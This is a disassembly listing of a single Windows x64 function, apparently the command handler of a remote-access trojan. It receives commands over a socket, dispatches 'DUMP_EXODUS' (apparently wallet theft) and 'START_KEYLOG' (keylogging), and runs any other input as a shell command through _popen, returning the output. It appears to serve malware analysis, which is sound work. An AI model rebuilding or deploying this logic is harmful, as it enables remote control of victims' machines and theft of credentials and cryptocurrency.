Function at 0x1400024e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1020]
mov eax, 0x1120
call fcn.140005db0
sub rsp, rax
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x1010], rax
mov r14, rcx
xor r15d, r15d
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x10]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140002911
movabs r13, 0x7fffffffffffffff
lea r12, [0x140007730]
mov r8d, socket
movabs rdx, 0x8000000000000000
mov ecx, eax
cmp rcx, 0x1000
jae 0x1400029be
mov byte [rbp + rcx + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], r15
lea rax, [rbp + 0x10]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002595
cmp rbx, r13
ja 0x1400029b8
cmp rbx, 0xf
ja 0x1400025d6
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], recv
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x28]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x28], 0
jmp 0x140002660
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x1400025eb
mov rdi, r13
lea rax, [rdx + 0x27]
jmp 0x14000260d
cmp rdi, 0x16
cmovb rdi, r8
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000262c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400029c4
mov rcx, rax
call fcn.140004e60
test rax, rax
je 0x1400029b1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000263e
test rcx, rcx
je 0x14000263b
call fcn.140004e60
mov rsi, rax
jmp 0x14000263e
mov rsi, r15
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rdi
mov r8, rbx
lea rdx, [rbp + 0x10]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0xf
seta sil
mov rbx, qword [rsp + 0x28]
cmova rdx, rbx
mov rdi, qword [rsp + 0x38]
cmp rdi, 4
jne 0x1400026b6
mov rcx, r15
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r12 + rcx - 1]
jne 0x1400026a9
cmp rcx, 4
jne 0x140002690
mov eax, r15d
jmp 0x1400026ae
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002954
lea rcx, [rsp + 0x28]
test sil, sil
cmovne rcx, rbx
cmp rdi, 0xb
jne 0x1400026e8
mov r8, rdi
lea rdx, str.DUMP_EXODUS
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400026e8
mov rcx, r14
call fcn.140001930
jmp 0x1400028b5
lea rcx, [rsp + 0x28]
test sil, sil
cmovne rcx, rbx
cmp rdi, 0xc
jne 0x14000271a
mov r8, rdi
lea rdx, str.START_KEYLOG
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000271a
mov rcx, r14
call fcn.140001f00
jmp 0x1400028b5
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], recv
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x28]
test sil, sil
cmovne rcx, rbx
lea rdx, [0x140007788]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
jne 0x1400027fb
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
lea ecx, [rax + 0x20]
call fcn.140004e60
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], 0x1b
mov qword [rsp + 0x60], 0x1f
movups xmm0, xmmword [str.Failed_to_execute_command._n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400077a0]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400077a8]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WS2_32.dll_ioctlsocket]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], bl
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140002854
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029a3
call fcn.140004ea4
jmp 0x140002854
mov r8, rbx
mov edx, 0x80
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140002837
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.1400035e0
mov r8, rbx
mov edx, 0x80
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140002812
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x58], xmm1
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
xor r9d, r9d
mov r8d, dword [rsp + 0x58]
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400028b5
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029aa
call fcn.140004ea4
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x1400028f2
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029b1
call fcn.140004ea4
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x10]
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140002554
lea rdx, str.Server_disconnected_or_error_occurred._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003bc0
mov rcx, qword [rbp + 0x1010]
xor rcx, rsp
call fcn.140004e40
lea r11, [rsp + 0x1120]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, str.Received_exit_command._Closing_connection._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003bc0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140002924
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000299c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029b1
call fcn.140004ea4
jmp 0x140002924
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400011c0
int3
call fcn.140004fe0
int3
call fcn.140001120
int3